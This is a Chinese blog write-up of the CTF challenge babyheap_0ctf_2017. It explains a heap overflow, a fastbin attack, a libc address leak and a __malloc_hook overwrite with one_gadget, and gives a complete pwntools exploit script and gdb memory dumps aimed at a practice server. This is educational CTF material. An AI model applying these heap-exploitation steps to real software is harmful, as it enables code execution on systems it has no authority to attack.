我又pwn啦——*刷题篇 babyheap_0ctf_2017

前言:这是我uaf后又一道正儿八经的堆题,这道题目的漏洞主要是fastbin attack和一些做堆提新的知识,捣鼓了快一周,看了好多师傅的博客复现总结了一下,现在记录一下。有不对的地方请师傅们指正!

一、例行checksec

保护全开

二、ida反编译

1)main函数

里面有一个菜单函数

 

2)allocate

3)fill

4)free

5)dump

三、利用思路

1)利用角度

step1我们看fill函数

发现在输入数据时只检查了数据大小的下界没有检查上界,因此这里存在堆溢出漏洞,可以对堆内数据进行改写

2)利用过程

我就对着下面的完整exp一步一步写了,注意index(序号)和chunk ?中“?”和index不一定是对应的

step0 准备工作

对于有菜单的题目,这种准备工作要做好

def cmd(index):
	p.sendlineafter('Command: ',str(index))

def allocate(size):
#cmd('1')
	p.sendlineafter('Command: ','1')
	p.sendlineafter('Size: ',str(size))

def fill(index,content):
	cmd('2')
	p.sendlineafter('Index: ',str(index))
	p.sendlineafter('Size: ',str(len(content)))
	p.sendlineafter('Content: ',content)

def free(index):
	cmd('3')
	p.sendlineafter('Index: ',str(index))

def dump(index):
	cmd('4')
	p.sendlineafter('Index: ',str(index))

step1 allocate四个fastbin和一个smallbin,并free掉1和2

allocate(0x10) #chunk0
allocate(0x10) #chunk1
allocate(0x10) #chunk2
allocate(0x10) #chunk3
allocate(0x60) #chunk4
free(1)
free(2)

这里的prev size记录的是上个free chunk的大小,如果上一个是malloced chunk,这个字段就没有什么用了,但是字段还在。

step2 修改chunk 2

下面这个师傅们自己从gdb中看内存可能会更直观一点

第一步fill就看下面画的那张图应该可以理解,前面都是小心翼翼地保持原状,最终是为了修改chunk2的user段首字节,注意因为chunk2已经被free掉了,此时它user段的首字节是fd,我们修改了它的末字节为0x80。

第二步fill是为了修改chunk4的size段,将其修改为0x21(改为和我们之前chunk 2一样的大小),因为fastbin的一条链上chunk的size是相同的,我们修改chunk2的fd到chunk4,fastbin会默认chunk4也是相同大小的fastbin,因此会进行检查,我们需要修改它的size大小来绕过检查。

Q: 为啥子我不直接往chunk2里面的user里面写呢?

A:因为它被free辣!fill函数只能往还在的chunk里写,所以需要用上面提到的堆溢出改写

Q: 为什么最后是p8?为什么是0x80?

A:因为我们的目的是将chunk2的fd改写到chunk4的位置(至于为什么这样请师傅们向后看),这样未释放的chunk4加入了bin中。因为两个chunk的地址只差在末尾一个字节,并且chunk4的末字节是0x80

payload = p64(0)*3
payload+= p64(0x21)
payload+= p64(0)*3
payload+= p64(0x21)
payload+= p8(0x80)   #这一行是关键
fill(0,payload)


payload = p64(0)*3
payload+= p64(0x21)
fill(3,payload)

pwndbg> x/50gx 0x5614ee1f6000
0x5614ee1f6000:	0x0000000000000000	0x0000000000000021
0x5614ee1f6010:	0x0000000000000000	0x0000000000000000
0x5614ee1f6020:	0x0000000000000000	0x0000000000000021
0x5614ee1f6030:	0x0000000000000000	0x0000000000000000
0x5614ee1f6040:	0x0000000000000000	0x0000000000000021
0x5614ee1f6050:	0x00005614ee1f6020	0x0000000000000000   #chunk2的fd
0x5614ee1f6060:	0x0000000000000000	0x0000000000000021
0x5614ee1f6070:	0x0000000000000000	0x0000000000000000
0x5614ee1f6080:	0x0000000000000000	0x0000000000000091   #chunk4的位置
0x5614ee1f6090:	0x0000000000000000	0x0000000000000000
0x5614ee1f60a0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60b0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60c0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60d0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60e0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60f0:	0x0000000000000000	0x0000000000000000
0x5614ee1f6100:	0x0000000000000000	0x0000000000000000
0x5614ee1f6110:	0x0000000000000000	0x0000000000020ef1
0x5614ee1f6120:	0x0000000000000000	0x0000000000000000
0x5614ee1f6130:	0x0000000000000000	0x0000000000000000
0x5614ee1f6140:	0x0000000000000000	0x0000000000000000
0x5614ee1f6150:	0x0000000000000000	0x0000000000000000
0x5614ee1f6160:	0x0000000000000000	0x0000000000000000
0x5614ee1f6170:	0x0000000000000000	0x0000000000000000
0x5614ee1f6180:	0x0000000000000000	0x0000000000000000

step3 将chunk1 chunk2重新分配回来 修改chunk4的size回到0x91

两次allocate先将,chunk4和chunk2回到原位,由于fastbin是后入先出(LIFO) ,所以index=1的地方是chunk2,index=2的地方是chunk4,然后修改chunk4的size字段改回0x91的smallbin的形式

注意:这样我们index 2和index 4都是chunk 4了

allocate(0x10)
allocate(0x10)

fill(1,'aaaa')
fill(2,'bbbb')
payload = p64(0)*3
payload+= p64(0x91)
fill(3,payload)

step4 dump出地址

第一步先allocate(0x80)(我们叫它为chunk5)是为了防止chunk4与top chunk合并

然后将chunk4丢入unsorted bin

有一个小知识:就是如果 usortbin 只有一个 bin ,它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部),这个地址为 main_arena + 0x58

还有一个小知识:在gdb中我们可以通过magic命令找到malloc__hook和libc基地址的偏移为0x3c4b10

libc基地址的计算:

  1. dump(2)就是解析chunk4的user段也就是其fd和bk,得到的是main_arena+0x58的地址。
  2. strip() 方法用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列。
  3. ljust就是讲所得补齐8字节,缺少的就用'\x00'补上
  4. 0x3c4b78的由来,减去0x58得到main_arena地址(因为刚才查看了main_arena附近的地址,知道malloc__hook和main_arena偏移为0x10),再减0x10得到malloc__hook地址(我们用magic得到了malloc__hook和libc的偏移),最后减去malloc__hook和libc的偏移即为libc基地址

简单点就是

0x58+0x10+0x3c4b10

allocate(0x80) # index5 chunk5
free(4)

libc_base = u64(dump(2)[:8].strip().ljust(8,b'\x00'))-0x3c4b78
log.info("libc_base:"+hex(libc_base))

step5 伪造一个chunk

我们需要在allocate回来的chunk6(index4)后伪造一个fake chunk,然后需要的大小要在0x60-0x7f之间,我们找到的位置是0x0x7fa8994e6aed,然后要算出与libcbase的偏移是0x3c4aed。

allocate(0x60) #index4 chunk6
free(4)

payload = p64(libc_base+0x3c4aed)
fill(2,payload)

step6 利用onegadget获得shell

因为找到的合适的大小的位置与malloc__hook的偏移为19,所以要对齐内存(p8*3+p64*2)

进行allocate之前需要检查malloc__hook函数的内容,如果为0,就跳过此步骤,如果不为0,就跳转到此部分执行。

allocate(0x60) // index4 chunk6
allocate(0x60) //chunk6所指向的fake chunk #index6 fake chunk

payload = p8(0)*3
payload += p64(0)*2 
payload += p64(libc_base+0x4526a) //0x4526a是one_gadget的一个地址
fill(6, payload)

allocate(255)
p.interactive()

四、完整exp

from pwn import *

flag = 1
if(flag == 1):
	p = remote('node4.buuoj.cn',25136)
else: 
	p = process('./123')
	
#gdb.attach(p)

def cmd(index):
	p.sendlineafter('Command: ',str(index))

def allocate(size):
#cmd('1')
	p.sendlineafter('Command: ','1')
	p.sendlineafter('Size: ',str(size))

def fill(index,content):
	cmd('2')
	p.sendlineafter('Index: ',str(index))
	p.sendlineafter('Size: ',str(len(content)))
	p.sendlineafter('Content: ',content)

def free(index):
	cmd('3')
	p.sendlineafter('Index: ',str(index))

def dump(index):
	cmd('4')
	p.sendlineafter('Index: ',str(index))


	
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x60)
free(1)
free(2)



payload = p64(0)*3
payload+= p64(0x21)
payload+= p64(0)*3
payload+= p64(0x21)
payload+= p8(0x80)
fill(0,payload)


payload = p64(0)*3
payload+= p64(0x21)
fill(3,payload)


allocate(0x10)
allocate(0x10)

fill(1,'aaaa')
fill(2,'bbbb')
payload = p64(0)*3
payload+= p64(0x91)
fill(3,payload)

allocate(0x80)
free(4)

libc_base = u64(dump(2)[:8].strip().ljust(8,b'\x00'))-0x3c4b78
log.info("libc_base:"+hex(libc_base))

allocate(0x60)
free(4)

payload = p64(libc_base+0x3c4aed)
fill(2,payload)

allocate(0x60)
allocate(0x60)

payload = p8(0)*3
payload+= p64(0)*2
payload+= p64(libc_base+0x4526a)
fill(6,payload)

allocate(255)
p.interactive()

五、参考博客

这两位师傅说的很详细,知识点和思路可以看看这两位师傅的博客

绝对详细的babyheap_0ctf_2017题解_eeeeeeeeeeeeeeeea的博客-CSDN博客_babyheap_0ctf_2017

blog.csdn.net/qq_43935969/article/details/115877748

gdb调试的内容可以重点看看这位师傅的博客

[分享]0ctf2017 - babyheap-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com

欢迎师傅们一起学习交流呀!也求大师傅带带

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值